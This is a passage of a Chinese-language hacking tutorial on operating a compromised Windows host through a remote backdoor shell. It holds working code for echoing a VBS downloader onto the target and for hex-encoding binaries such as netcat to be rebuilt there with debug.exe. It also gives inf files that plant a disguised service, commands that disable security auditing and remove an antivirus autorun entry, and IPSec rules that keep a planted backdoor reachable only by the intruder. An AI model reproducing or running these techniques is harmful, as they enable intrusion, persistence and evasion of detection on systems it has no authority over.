/>对于以服务为启动方式的后门所提供的shell，其用户身份一般是System。此时网页缓存目录的位置就如例子中所示。如果shell的身份不是System，需要修改Default User为相应的用户名。<br />本方法会启动一个IE进程，记得要将它杀掉。如果是System身份的shell，不会在本地出现窗口而暴露。<br />另外，用ms-its代替its效果完全一样。<br />3，Echo一个脚本下载web资源。<br />现成的工具是iGet.vbs。我再给出一个含必要容错功能的版本。<br />仍然是echo版：<br />@echo with wscrīpt:if .arguments.count^&lt;2 then .quit:end if &gt; dl.vbs<br />@echo set aso=.createobject(&quot;adodb.stream&quot;):set web=createobject(&quot;microsoft.xmlhttp&quot;) &gt;&gt; dl.vbs<br />@echo web.open &quot;get&quot;,.arguments(0),0:web.send:if web.status^&gt;200 then .echo &quot;Error:&quot;+web.status:.quit &gt;&gt; dl.vbs<br />@echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with &gt;&gt; dl.vbs<br />举例--下载ps.exe并保存到c:\path下：<br />cscrīpt dl.vbs <a href="http://www.sometips.com/soft/ps.exe" target="_blank">http://www.sometips.com/soft/ps.exe</a> c:\path\ps.exe<br />注意，这是在远程shell中执行的。<br />4，Echo经过编码的任何文件，再用脚本+debug还原。<br />前面两个办法都不能保证穿过防火墙。而且，除非自己架Web服务器，一般的Web资源都是以压缩文件的形式提供。如果目标主机没有解压工具，还是没辙。那么只有出&quot;杀手锏&quot;了！<br />echo 命令加重定向操作符可以写入ASCII码小于128的字符，但大于等于128的不行。只有将本地文件重新&quot;编码&quot;为可显示的字符，才能方便地写入远程主机。首先能想到的就是base64编码，即email附件的编码方式。但vbs不支持位操作，因此编码和解码较复杂。更麻烦的是，脚本以黑客动画吧流方式处理文件的能力很差。（ADODB.Stream可以以流方式写文件，但我无法构造出相应的数据类型。黑客动画吧数据流可以用midb函数转成字符串，但反过来不行。我花了两天时间，还是没能解决这个问题。如果有谁能用vbs或js写任意的字节数据到文件中，恳请赐教。）<br />无奈只有请debug.exe出马了。原理很多人都知道，我不介绍了，直接给出成果--编码脚本：<br />fp=wscrīpt.arguments(0)<br />fn=right(fp,len(fp)-instrrev(fp,&quot;\&quot;))<br />with createobject(&quot;adodb.stream&quot;)<br />.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)<br />end with<br />sll=sl mod 65536:slh=sl\65536<br />with createobject(&quot;scrīpting.filesystemobject&quot;).opentextfile(fp&amp;&quot;.bat&quot;,2,true)<br />.write &quot;@echo str=&quot;&quot;&quot;<br />for i=1 to sl<br />bt=ascb(midb(str,i,1))<br />if bt&lt;16 then .write &quot;0&quot;<br />.write hex(bt)<br />if i mod 128=0 then .write &quot;&quot;&quot;_&gt;&gt;debug.vbs&quot;+vbcrlf+&quot;@echo +&quot;&quot;&quot;<br />next<br />.writeline &quot;&quot;&quot;&gt;&gt;debug.vbs&quot;+vbcrlf+&quot;@echo with wscrīpt.stdout:r=vbcrlf&quot;_<br />+&quot;:for i=1 to len(str) step 48:.write &quot;&quot;e&quot;&quot;+hex(256+(i-1)/2)&quot;_<br />+&quot;:for j=i to i+46 step 2:.write &quot;&quot; &quot;&quot;+mid(str,j,2):next:.write r:next&gt;&gt;debug.vbs&quot;<br />.writeline &quot;@echo .write &quot;&quot;rbx&quot;&quot;+r+&quot;&quot;&quot;+hex(slh)+&quot;&quot;&quot;+r+&quot;&quot;rcx&quot;&quot;+r+&quot;&quot;&quot;+hex(sll)_<br />+&quot;&quot;&quot;+r+&quot;&quot;n debug.tmp&quot;&quot;+r+&quot;&quot;w&quot;&quot;+r+&quot;&quot;q&quot;&quot;+r:end with&quot;_<br />+&quot;&gt;&gt;debug.vbs&amp;&amp;cscrīpt //nologo debug.vbs|debug.exe&gt;nul&amp;&amp;ren debug.tmp &quot;&quot;&quot;&amp;fn&amp;&quot;&quot;&quot;&amp;del debug.vbs&quot;<br />end with<br />将其保存为echo.vbs。假设要上传nc.exe，那么在本地命令行输入命令：<br />cscrīpt echo.vbs nc.exe<br />也可以直接把要传输的文件的图标拖放到脚本文件的图标上。<br />稍等一会儿，在当前目录下将生成一个nc.exe.bat。用记事本等编辑工具打开它，可以看到如下内容：<br />@echo str=&quot;4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000&quot;_&gt;&gt;debug.vbs<br />@echo +&quot;504500004C010400B98EAE340000000000000000E0000F010B010500009800000062000000000000004C00000010000000B0000000004000001000000002000004000000000000000400000000000000003001000004000000000000030000000000100000100000000010000010000000000000100000000000000000000000&quot;_&gt;&gt;debug.vbs<br />@echo +&quot;002001003C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A0210100640100000000000000000000000000000000000000000000000000002E74657874000000&quot;_&gt;&gt;debug.vbs<br />@echo +&quot;70970000001000000098000000040000000000000000000000000000200000602E726461746100001704000000B0000000060000009C0000000000000000000000000000400000402E646174610000004452000000C00000003E000000A20000000000000000000000000000400000C02E696461746100005C07000000200100&quot;_&gt;&gt;debug.vbs<br />............<br />............（省略若干行）<br />............<br />@echo +&quot;&quot;&gt;&gt;debug.vbs<br />@echo with wscrīpt.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write &quot;e&quot;+hex(256+(i-1)/2):for j=i to i+46 step 2:.write &quot; &quot;+mid(str,j,2):next:.write r:next&gt;&gt;debug.vbs<br />@echo .write &quot;rbx&quot;+r+&quot;0&quot;+r+&quot;rcx&quot;+r+&quot;E800&quot;+r+&quot;n debug.tmp&quot;+r+&quot;w&quot;+r+&quot;q&quot;+r:end with&gt;&gt;debug.vbs&amp;&amp;cscrīpt //nologo debug.vbs|debug.exe&gt;nul&amp;&amp;ren debug.tmp &quot;NC.EXE&quot;&amp;del debug.vbs<br />全选 －》 复制 －》 切换到远程命令行窗口 －》 粘贴。<br />如果网速不是很慢的话，整个上传过程大约需要20秒。<br />几点说明：<br />1，大的文件传输不稳定，可能会使shell死掉。所以文件越小效果越好。建议原文件不要超过100KB。<br />2，在传输大文件前，可以先传个小的文件作为&quot;热身&quot;，让16位虚拟机ntvdm.exe驻留后台。所有文件传完后，为隐蔽起见，应该把ntvdm进程杀掉。<br />3，某些cmd shell每个命令都需要附加两个回车，那nc.exe.bat就不能直接用了。<br />4，单个命令的长度是有限的，所以不能只用一个echo完成全部任务。而且，对于nc提供的cmd shell，稍长一些的命令竟然会使shell自动退出（溢出了？）。你可以修改&quot;i mod 128=0&quot;语句中的128以调整每个echo命令的长度。每次echo的字符为这个数乘以2。<br />5，解码过程没有脚本参与也是可以的。使用脚本的目的是减少传输的数据量（因为压缩了数据）。如果有时间，我会写一个更完善的脚本，加强数据压缩能力，增加数据校验功能。<br />能上传文件当然一切都好办了，但很多操作用Windows自带的工具更方便。在你到处寻找需要的工具时，不要忘了Windows本身。<br />系统配置<br />这节包括三方面内容：注册表、服务和组策略。<br />先说注册表。很多命令行下访问注册表的工具都是交互式的，溢出产生的shell一般不能再次重定向输入/输出流，所以无法使用。<br />好在系统自带的regedit.exe足够用了。<br />1，读取注册表<br />先将想查询的注册表项导出，再用type查看，比如：<br />C:\&gt;regedit /e 1.reg &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&quot;<br />C:\&gt;type 1.reg | find &quot;PortNumber&quot;<br />&quot;PortNumber&quot;=dword:00000d3d<br />C:\&gt;del 1.reg<br />所以终端服务的端口是3389（十六进制d3d）<br />2，修改/删除注册表项<br />先echo一个reg文件，然后导入，比如：<br />echo Windows Registry Editor Version 5.00 &gt;1.reg<br />echo. &gt;&gt;1.reg<br />echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0] &gt;&gt;1.reg<br />echo &quot;TelnetPort&quot;=dword:00000913 &gt;&gt;1.reg<br />echo &quot;NTLM&quot;=dword:00000001 &gt;&gt;1.reg<br />echo. &gt;&gt;1.reg<br />regedit /s 1.reg<br />将telnet服务端口改为2323（十六进制913），NTLM认证方式为1。<br />要删除一个项，在名字前面加减号，比如：<br />[-HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Serv-U]<br />要删除一个值，在等号后面用减号，比如：<br />[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]<br />&quot;KAVRun&quot;=-<br />3，用inf文件访问注册表<br />上面对注册表的三个操作，也可以用下面这个inf文件来实现：<br />[Version]<br />Signature=&quot;$WINDOWS NT$&quot;<br />[DefaultInstall]<br />AddReg=My_AddReg_Name<br />DelReg=My_DelReg_Name<br />[My_AddReg_Name]<br />HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,TelnetPort,0x00010001,2323<br />HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,NTLM,0x00010001,1<br />[My_DelReg_Name]<br />HKLM,SYSTEM\CurrentControlSet\Services\Serv-U<br />HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun<br />将它写入c:\path\reg.inf然后用下面这个命令&quot;安装&quot;：<br />rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\reg.inf<br />几点说明：<br />1，[Version]和[DefaultInstall]是必须的，AddReg和DelReg至少要有一个。My_AddReg_Name和My_DelReg_Name可以自定义。<br />0x00010001表示REG_DWORD数据类型，0x00000000或省略该项(保留逗号)表示REG_SZ(字符串)。0x00020000表示REG_EXPAND_SZ。<br />2323也可以用0x913代替。<br />关于inf文件的详细信息，可以参考DDK帮助文档。<br />2，InstallHinfSection是大小写敏感的。它和setupapi之间只有一个逗号，没有空格。<br />128表示给定路径，该参数其他取值及含义参见MSDN。<br />特别注意，最后一个参数，必须是inf文件的全路径，不要用相对路径。<br />3，inf文件中的项目都是大小写不敏感的。<br />接下来说服务。如果想启动或停止服务，用net命令就可以。但想增加或删除服务，需要用SC，instsrv.exe，xnet.exe等工具。而这些工具系统没有自带（XP和2003自带SC)。导入注册表虽然可以，但效果不好，原因后面会提到。还是得靠inf文件出马。<br />增加一个服务：<br />[Version]<br />Si<br />gnature=&quot;$WINDOWS NT$&quot;<br />[DefaultInstall.Services]<br />AddService=inetsvr,,My_AddService_Name<br />[My_AddService_Name]<br />DisplayName=Windows Internet Service<br />Descrīption=提供对 Internet 信息服务管理的支持。<br />ServiceType=0x10<br />StartType=2<br />ErrorControl=0<br />ServiceBinary=%11%\inetsvr.exe<br />保存为inetsvr.inf，然后：<br />rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\inetsvr.inf<br />这个例子增加一个名为inetsvr的服务（是不是很像系统自带的服务，呵呵）。<br />几点说明：<br />1，最后四项分别是<br />服务类型：0x10为独立进程服务，0x20为共享进程服务（比如svchost）；<br />启动类型：0 系统引导时加载，1 OS初始化时加载，2 由SCM（服务控制管理器）自动启动，3 手动启动，4 禁用。<br />（注意，0和1只能用于驱动程序）<br />错误控制：0 忽略，1 继续并警告，2 切换到LastKnownGood的设置，3 蓝屏。<br />服务程序位置：%11%表示system32目录，%10%表示系统目录(WINNT或Windows)，%12%为驱动目录system32\drivers。其他取值参见DDK。你也可以不用变量，直接使用全路径。<br />这四项是必须要有的。<br />2，除例子中的六个项目，还有LoadOrderGroup、Dependencies等。不常用所以不介绍了。<br />3，inetsvr后面有两个逗号，因为中间省略了一个不常用的参数flags。<br />删除一个服务：<br />[Version]<br />Signature=&quot;$WINDOWS NT$&quot;<br />[DefaultInstall.Services]<br />DelService=inetsvr<br />很简单，不是吗？<br />当然，你也可以通过导入注册表达到目的。但inf自有其优势。<br />1，导出一个系统自带服务的注册表项，你会发现其执行路径是这样的：<br />&quot;ImagePath&quot;=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\<br />74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,74,\<br />00,6c,00,6e,00,74,00,73,00,76,00,72,00,2e,00,65,00,78,00,65,00,00,00<br />可读性太差。其实它就是%SystemRoot%\system32\tlntsvr.exe，但数据类型是REG_EXPAND_SZ。当手动导入注册表以增加服务时，这样定义ImagePath显然很不方便。如果用REG_SZ代替会有些问题--不能用环境变量了。即只能使用完整路径。用inf文件完全没有这个问题，ServiceBinary（即ImagePath）自动成为REG_EXPAND_SZ。<br />2，最关键的是，和用SC等工具一样，inf文件的效果是即时起效的，而导入reg后必须重启才有效。<br />3，inf文件会自动为服务的注册表项添加一个Security子键，使它看起来更像系统自带的服务。<br />另外，AddService和DelService以及AddReg、DelReg可以同时且重复使用。即可以同时增加和删除多个服务和注册表项。详细的内容还是请查看DDK。<br />最后说说组策略。组策略是建立Windows安全环境的重要手段，尤其是在Windows域环境下。一个出色的系统管理员，应该能熟练地掌握并应用组策略。在窗口界面下访问组策略用gpedit.msc，命令行下用secedit.exe。<br />先看secedit命令语法：<br />secedit /analyze<br />secedit /configure<br />secedit /export<br />secedit /validate<br />secedit /refreshpolicy<br />5个命令的功能分别是分析组策略、配置组策略、导出组策略、验证模板语法和更新组策略。其中secedit /refreshpolicy 在XP/2003下被gpupdate代替。这些命令具体的语法自己在命令行下查看就知道了。<br />与访问注册表只需reg文件不同的是，访问组策略除了要有个模板文件(还是inf)，还需要一个安全数据库文件(sdb)。要修改组策略，必须先将模板导入安全数据库，再通过应用安全数据库来刷新组策略。来看个例子：<br />假设我要将密码长度最小值设置为6，并启用&quot;密码必须符合复杂性要求&quot;，那么先写这么一个模板：<br />[version]<br />signature=&quot;$CHICAGO$&quot;<br />[System Access]<br />MinimumPasswordLength = 6<br />PasswordComplexity = 1<br />保存为gp.inf，然后导入：<br />secedit /configure /db gp.sdb /cfg gp.inf /quiet<br />这个命令执行完成后，将在当前目录产生一个gp.sdb，它是&quot;中间产品&quot;，你可以删除它。<br />/quiet参数表示&quot;安静模式&quot;，不产生日志。但根据我的试验，在2000sp4下该参数似乎不起作用，XP下正常。日志总是保存在%windir%\security\logs\scesrv.log。你也可以自己指定日志以便随后删除它。比如：<br />secedit /configure /db gp.sdb /cfg gp.inf /log gp.log<br />del gp.*<br />另外，在导入模板前，还可以先分析语法是否正确：<br />secedit /validate gp.inf<br />那么，如何知道具体的语法呢？当然到MSDN里找啦。也有偷懒的办法，因为系统自带了一些安全模板，在%windir%\security\templates目录下。打开这些模板，基本上包含了常用的安全设置语法，一看就懂。<br />再举个例子--关闭所有的&quot;审核策略&quot;。（它所审核的事件将记录在事件查看器的&quot;安全性&quot;里）。<br />echo版：<br />echo [version] &gt;1.inf<br />echo signature=&quot;$CHICAGO$&quot; &gt;&gt;1.inf<br />echo [Event Audit] &gt;&gt;1.inf<br />echo AuditSystemEvents=0 &gt;&gt;1.inf<br />echo AuditObjectAccess=0 &gt;&gt;1.inf<br />echo AuditPrivilegeUse=0 &gt;&gt;1.inf<br />echo AuditPolicyChange=0 &gt;&gt;1.inf<br />echo AuditAccountManage=0 &gt;&gt;1.inf<br />echo AuditProcessTracking=0 &gt;&gt;1.inf<br />echo AuditDSAccess=0 &gt;&gt;1.inf<br />echo AuditAccountLogon=0 &gt;&gt;1.inf<br />echo AuditLogonEvents=0 &gt;&gt;1.inf<br />secedit /configure /db 1.sdb /cfg 1.inf /log 1.log /quiet<br />del 1.*<br />也许有人会说：组策略不是保存在注册表中吗，为什么不直接修改注册表？因为不是所有的组策略都保存在注册表中。比如&quot;审核策略&quot;就不是。你可以用 regsnap比较修改该策略前后注册表的变化。我测试的结果是什么都没有改变。只有&quot;管理模板&quot;这一部分是完全基于注册表的。而且，知道了具体位置，用哪个方法都不复杂。<br />比如，XP和2003的&quot;本地策略&quot;－》&quot;安全选项&quot;增加了一个&quot;本地帐户的共享和安全模式&quot;策略。XP下默认的设置是&quot;仅来宾&quot;。这就是为什么用管理员帐号连接XP的ipc$仍然只有Guest权限的原因。可以通过导入reg文件修改它为&quot;经典\&quot;：<br />echo Windows Registry Editor Version 5.00 &gt;1.reg<br />echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] &gt;&gt;1.reg<br />echo &quot;forceguest&quot;=dword:00000000 &gt;&gt;1.reg<br />regedit /s 1.reg<br />del 1.reg<br />而相应的用inf，应该是：<br />echo [version] &gt;1.inf<br />echo signature=&quot;$CHICAGO$&quot; &gt;&gt;1.inf<br />echo [Registry Values] &gt;&gt;1.inf<br />echo MACHINE\System\CurrentControlSet\Control\Lsa\ForceGuest=4,0 &gt;&gt;1.inf<br />secedit /configure /db 1.sdb /cfg 1.inf /log 1.log<br />del 1.*<br />关于命令行下读取组策略的问题。<br />系统默认的安全数据库位于%windir%\security\database\secedit.sdb，将它导出至inf文件：<br />secedit /export /cfg gp.inf /log 1.log<br />没有用/db参数指定数据库就是采用默认的。然后查看gp.inf。<br />不过，这样得到的只是组策略的一部分（即&quot;Windows设置&quot;）。而且，某个策略如果未配置，是不会被导出的。比如&quot;重命名系统管理员帐户&quot;，只有被定义了才会在inf文件中出现NewAdministratorName=&quot;xxx&quot;。对于无法导出的其他的组策略只有通过访问注册表来获得了。<br />此办法在XP和2003下无效--可以导出但内容基本是空的。原因不明。根据官方的资料，XP和2003显示组策略用RSoP（组策略结果集）。相应的命令行工具是gpresult。但是，它获得的是在系统启动时被附加（来自域）的组策略，单机测试结果还是&quot;空&quot;。所以，如果想知道某些组策略是否被设置，只有先写一个inf，再用secedit /analyze，然后查看日志了。<br />网络配置<br />Windows自带的关于网络的命令行工具很多，比如大家熟悉的ping,tracert,ipconfig,telnet,ftp,tftp,netstat，还有不太熟悉的nbtstat, pathping,nslookup,finger,route,netsh......<br />这些命令又可分成三类：网络检测（如ping）、网络连接（如telnet）和网络配置（如netsh）。前面两种相对简单，本文只介绍两个网络配置工具。<br />netsh<br />在远程shell中使用netsh首先要解决一个交互方式的问题。前面说过，很多shell不能再次重定向输出输出，所以不能在这种环境下交互地使用ftp 等命令行工具。解决的办法是，一般交互式的工具都允许使用脚本（或者叫应答文件）。比如ftp -s:filename。netsh也是这样：netsh -f filename。<br />netsh命令的功能非常多，可以配置IAS、DHCP、RAS、WINS、NAT服务器，TCP/IP协议，IPX协议，路由等。我们不是管理员，一般没必要了解这么多，只需用netsh来了解目标主机的网络配置信息。<br />1，TCP/IP配置<br />echo interface ip &gt;s<br />echo show config &gt;&gt;s<br />netsh -f s<br />del s<br />由此你可以了解该主机有多个网卡和IP，是否是动态分配IP(DHCP)，内网IP是多少（如果有的话）。<br />这个命令和ipconfig /all差不多。<br />注意，以下命令需要目标主机启动remoteaccess服务。如果它被禁用，请先通过导入注册表解禁，然后<br />net start remoteaccess<br />2，ARP<br />echo interface ip &gt;s<br />echo show ipnet &gt;&gt;s<br />netsh -f s<br />del s<br />这个比arp -a命令多一点信息。<br />3，TCP/UDP连接<br />echo interface ip &gt;s<br />echo show tcpconn &gt;&gt;s<br />echo show udpconn &gt;&gt;s<br />netsh -f s<br />del s<br />这组命令和netstat -an一样。<br />4，网卡信息<br />如果netsh命令都有其他命令可代替，那它还有什么存在的必要呢？下面这个就找不到代替的了。<br />echo interface ip &gt;s<br />echo show interface &gt;&gt;s<br />netsh -f s<br />del s<br />netsh的其他功能，比如修改IP，一般没有必要使用（万一改了IP后连不上，就&quot;叫天不应叫地不灵&quot;了），所以全部略过。<br />IPSec<br />首先需要指出的是，IPSec和TCP/IP筛选是不同的东西，大家不要混淆了。TCP/IP筛选的功能十分有限，远不如IPSec灵活和强大。下面就说说如何在命令行下控制IPSec。<br />XP 系统用ipseccmd，2000下用ipsecpol。遗憾的是，它们都不是系统自带的。ipseccmd在xp系统安装盘的SUPPORT\ TOOLS\SUPPORT.CAB中，ipsecpol在2000 Resource Kit里。而且，要使用ipsecpol还必须带上另外两个文件：ipsecutil.dll和text2pol.dll。三个文件一共119KB。<br />IPSec 可以通过组策略来控制，但我找遍MSDN，也没有找到相应的安全模板的语法。已经配置好的IPSec策略也不能被导出为模板。所以，组策略这条路走不通。 IPSec的设置保存在注册表中(HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\ IPSec\Policy\Local)，理论上可以通过修改注册表来配置IPSec。但很多信息以黑客动画吧形式存放，读取和修改都很困难。相比之下，上传命令行工具更方便。<br />关于ipsecpol和ipseccmd的资料，网上可以找到很多，因此本文就不细说了，只是列举一些实用的例子。<br />在设置IPSec策略方面，ipseccmd命令的语法和ipsecpol几乎完全一样，所以只以ipsecpol为例：<br />1，防御rpc-dcom攻击<br />ipsecpol -p myfirewall -r rpc-dcom -f *+0:135:tcp *+0:135:udp *+0:137:udp *+0:138:udp *+0:139:tcp *+0:445:tcp *+0:445:udp -n BLOCK -w reg -x<br />这条命令关闭了本地主机的TCP135,139,445和udp135,137,138,445端口。<br />具体含义如下：<br />-p myfirewall 指定策略名为myfirewall<br />-r rpc-dcom 指定规则名为rpc-dcom<br />-f ...... 建立7个筛选器。*表示任何地址(源)；0表示本机地址(目标)；+表示镜像(双向)筛选。详细语法见ipsecpol -?<br />-n BLOCK 指定筛选操作是&quot;阻塞&quot;。注意，BLOCK必须是大写。<br />-w reg 将配置写入注册表，重启后仍有效。<br />-x 立刻激活该策略。<br />2，防止被ping<br />ipsecpol -p myfirewall -r antiping -f *+0::icmp -n BLOCK -w reg -x<br />如果名为myfirewall的策略已存在，则antiping规则将添加至其中。<br />注意，该规则同时也阻止了该主机ping别人。<br />3，对后门进行IP限制<br />假设你在某主机上安装了DameWare Mini Remote Control。为了保护它不被别人暴破密码或溢出，应该限制对其服务端口6129的访问。<br />ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg<br />ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.89+0:6129:tcp -n PASS -w reg -x<br />这样就只有123.45.67.89可以访问该主机的6129端口了。<br />如果你是动态IP，应该根据IP分配的范围设置规则。比如：<br />ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg<br />ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.*+0:6129:tcp -n PASS -w reg -x<br />这样就允许123.45.67.1至123.45.67.254的IP访问6129端口。<br />在写规则的时候，应该特别小心，不要把自己也阻塞了。如果你不确定某个规则<br />的效果是否和预想的一样，可以先用计划任务&quot;留下后路&quot;。例如：<br />c:\&gt;net start schedule<br />Task Scheduler 服务正在启动 ..<br />Task Scheduler 服务已经启动成功。<br />c:\&gt;time /t<br />12:34<br />c:\&gt;at 12:39 ipsecpol -p myfw -y -w reg<br />新加了一项作业，其作业 ID = 1<br />然后，你有5分钟时间设置一个myfw策略并测试它。5分钟后计划任务将停止该策略。<br />如果测试结果不理想，就删除该策略。<br />c:\&gt;ipsecpol -p myfw -o -w reg<br />注意，删除策略前必须先确保它已停止。不停止它的话，即使删除也会在一段时间内继续生效。持续时间取决于策略的刷新时间，默认是180分钟。<br />如果测试通过，那么就启用它。<br />c:\&gt;ipsecpol -p myfw -x -w reg<br />最后说一下查看IPSec策略的办法。<br />对于XP很简单，一条命令搞定--ipseccmd show filters<br />而ipsecpol没有查询的功能。需要再用一个命令行工具netdiag。它位于2000系统安装盘的SUPPORT\TOOLS\SUPPORT.CAB中。（已经上传了三个文件，也就不在乎多一个了。^_^）<br />netdiag需要RemoteRegistry服务的支持。所以先启动该服务：<br />net start remoteregistry<br />不启动RemoteRegistry就会得到一个错误：<br />[FATAL] Failed to get system information of this machine.<br />netdiag这个工具功能十分强大，与网络有关的信息都可以获取！不过，输出的信息有时过于详细，超过命令行控制台cmd.exe的输出缓存，而不是每个远程cmd shell都可以用more命令来分页的。<br />查看ipsec策略的命令是：<br />netdiag /debug /test:ipsec<br />然后是一长串输出信息。IPSec策略位于最后。<br />软件安装<br />一个软件/工具的安装过程，一般来说只是做两件事：拷贝文件到特定目录和修改注册表。只要搞清楚具体的内容，那么就可以自己在命令行下实现了。（不考虑安装后需要注册激活等情况）<br />WinPcap是个很常用的工具，但必须在窗口界面下安装。在网上也可以找到不用GUI的版本（但还是有版权页），其实我们完全可以自己做一个。<br />以WinPcap 3.0a 为例。通过比较安装前后的文件系统和注册表快照，很容易了解整个安装过程。<br />除去反安装的部分，关键的文件有三个：wpcap.dll，packet.dll和npf.sys。前面两个文件位于system32目录下，第三个在 system32\drivers下。而注册表的变化是增加了一个系统服务NPF。注意，是系统服务（即驱动）不是Win32服务。<br />作为系统服务，不但要在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services下增加主键，在 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root下也增加主键。而后者默认只有 SYSTEM身份才可以修改。幸运的是，并不需要手动添加它，winpcap被调用时会自动搞定。甚至完全不用手动修改注册表，所有的事winpcap都会自己完成，只需要将三个文件复制到合适的位置就行了。<br />作为范例，还是演示一下如何修改注册表：利用前面说过的inf文件来实现。<br />[Version]<br />Signature=&quot;$WINDOWS NT$&quot;<br />[DefaultInstall.Services]<br />AddService=NPF,,winpcap_svr<br />[winpcap_svr]<br />DisplayName=Netgroup Packet Filter<br />ServiceType=0x1<br />StartType=3<br />ErrorControl=1<br />ServiceBinary=%12%\npf.sys<br />将上面这些内容保存为_wpcap_.inf文件。<br />再写一个批处理_wpcap_.bat：<br />rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %CD%\_wpcap_.inf<br />del _wpcap_.inf<br />if /i %CD%==%SYSTEMROOT%\system32 goto COPYDRV<br />copy packet.dll %SYSTEMROOT%\system32\<br />copy wpcap.dll %SYSTEMROOT%\system32\<br />del packet.dll<br />del wpcap.dll<br />:COPYDRV<br />if /i %CD%==%SYSTEMROOT%\system32\drivers goto END<br />copy npf.sys %SYSTEMROOT%\system32\drivers\<br />del npf.sys<br />:END<br />del %0<br />然后用winrar将所有文件（5个）打包为自解压的exe，并将『高级自解压选项』-&gt;『解压后运行』设置为_wpcap_.bat，命令行的winpcap安装包就制作完成了。<br />注意，批处理最后一行没有回车符。否则会因为正在运行而无法删除自己。<br />所有的软件安装，基本上可以套用这个思路。但也有例外的，那就是系统补丁的安装。<br />由于系统补丁有可能要替换正在被执行或访问的文件，所以用copy命令是不行的。<br />幸好，Windows补丁包支持命令行安装。<br />比如：<br />KB824146.exe -n -z -q<br />-n 不保留备份<br />-z 不重起<br />-q 安静模式<br />如果有一堆补丁要打，那么用RAR打包成自解压文件，外加一个批处理。<br />for %%f in (KB??????.exe) do %%f -n -z -q<br />for %%f in (KB??????.exe) do del %%f<br />del %0<br /><br />Windows脚本<br />很多事用脚本来做是很简洁的。下面给出几个常用脚本的echo版。<br />1，显示系统版本<br />@echo for each ps in getobject _ &gt;ps.vbs<br />@echo (&quot;winmgmts:\\.\root\cimv2:win32_operatingsystem&quot;).instances_ &gt;&gt;ps.vbs<br />@echo wscrīpt.echo ps.caption^&amp;&quot; &quot;^&amp;ps.version:next &gt;&gt;ps.vbs<br />cscrīpt //nologo ps.vbs &amp; del ps.vbs<br />2，列举进程<br />@echo for each ps in getobject _ &gt;ps.vbs<br />@echo (&quot;winmgmts:\\.\root\cimv2:win32_process&quot;).instances_ &gt;&gt;ps.vbs<br />@echo wscrīpt.echo ps.handle^&amp;vbtab^&amp;ps.name^&amp;vbtab^&amp;ps.executablepath:next &gt;&gt;ps.vbs<br />cscrīpt //nologo ps.vbs &amp; del ps.vbs<br />3，终止进程<br />@echo for each ps in getobject _ &gt;pk.vbs<br />@echo (&quot;winmgmts:\\.\root\cimv2:win32_process&quot;).instances_ &gt;&gt;pk.vbs<br />@echo if ps.handle=wscrīpt.arguments(0) then wscrīpt.echo ps.terminate:end if:next &gt;&gt;pk.vbs<br />要终止PID为123的进程，使用如下语法：<br />cscrīpt pk.vbs 123<br />如果显示一个0，表示终止成功。<br />然后：<br />del pk.vbs<br />4，重启系统<br />@echo for each os in getobject _ &gt;rb.vbs<br />@echo (&quot;winmgmts:{(shutdown)}!\\.\root\cimv2:win32_operatingsystem&quot;).instances_ &gt;&gt;rb.vbs<br />@echo os.win32shutdown(2):next &gt;&gt;rb.vbs &amp; cscrīpt //nologo rb.vbs &amp; del rb.vbs<br />5，列举自启动的服务<br />@echo for each sc in getobject(&quot;winmgmts:\\.\root\cimv2:win32_service&quot;).instances_ &gt;sc.vbs<br />@echo if sc.startmode=&quot;Auto&quot; then wscrīpt.echo sc.name^&amp;&quot; - &quot;^&amp;sc.pathname &gt;&gt;sc.vbs<br />@echo next &gt;&gt;sc.vbs &amp; cscrīpt //nologo sc.vbs &amp; del sc.vbs<br />6，列举正在运行的服务<br />@echo for each sc in getobject(&quot;winmgmts:\\.\root\cimv2:win32_service&quot;).instances_ &gt;sc.vbs<br />@echo if sc.state=&quot;Running&quot; then wscrīpt.echo sc.name^&amp;&quot; - &quot;^&amp;sc.pathname &gt;&gt;sc.vbs<br />@echo next &gt;&gt;sc.vbs &amp; cscrīpt //nologo sc.vbs &amp; del sc.vbs<br />7，显示系统最后一次启动的时间<br />@echo for each os in getobject _ &gt;bt.vbs<br />@echo (&quot;winmgmts:\\.\root\cimv2:win32_operatingsystem&quot;).instances_ &gt;&gt;bt.vbs<br />@echo wscrīpt.echo os.lastbootuptime:next &gt;&gt;bt.vbs &amp; cscrīpt //nologo bt.vbs &amp; del bt.vbs<br />显示结果的格式是：<br />yyyymmddHHMMSSxxxxxxZZZZ<br />_年_月日时分秒_微秒_时区<br />8，显示系统运行时间<br />@echo for each os in getobject _ &gt;rt.vbs<br />@echo (&quot;winmgmts:\\.\root\cimv2:win32_perfrawdata_perfos_system&quot;).instances_ &gt;&gt;rt.vbs<br />@echo s=os.timestamp_sys100ns:l=len(s):s=left(s,l-7):for i=1 to l-7 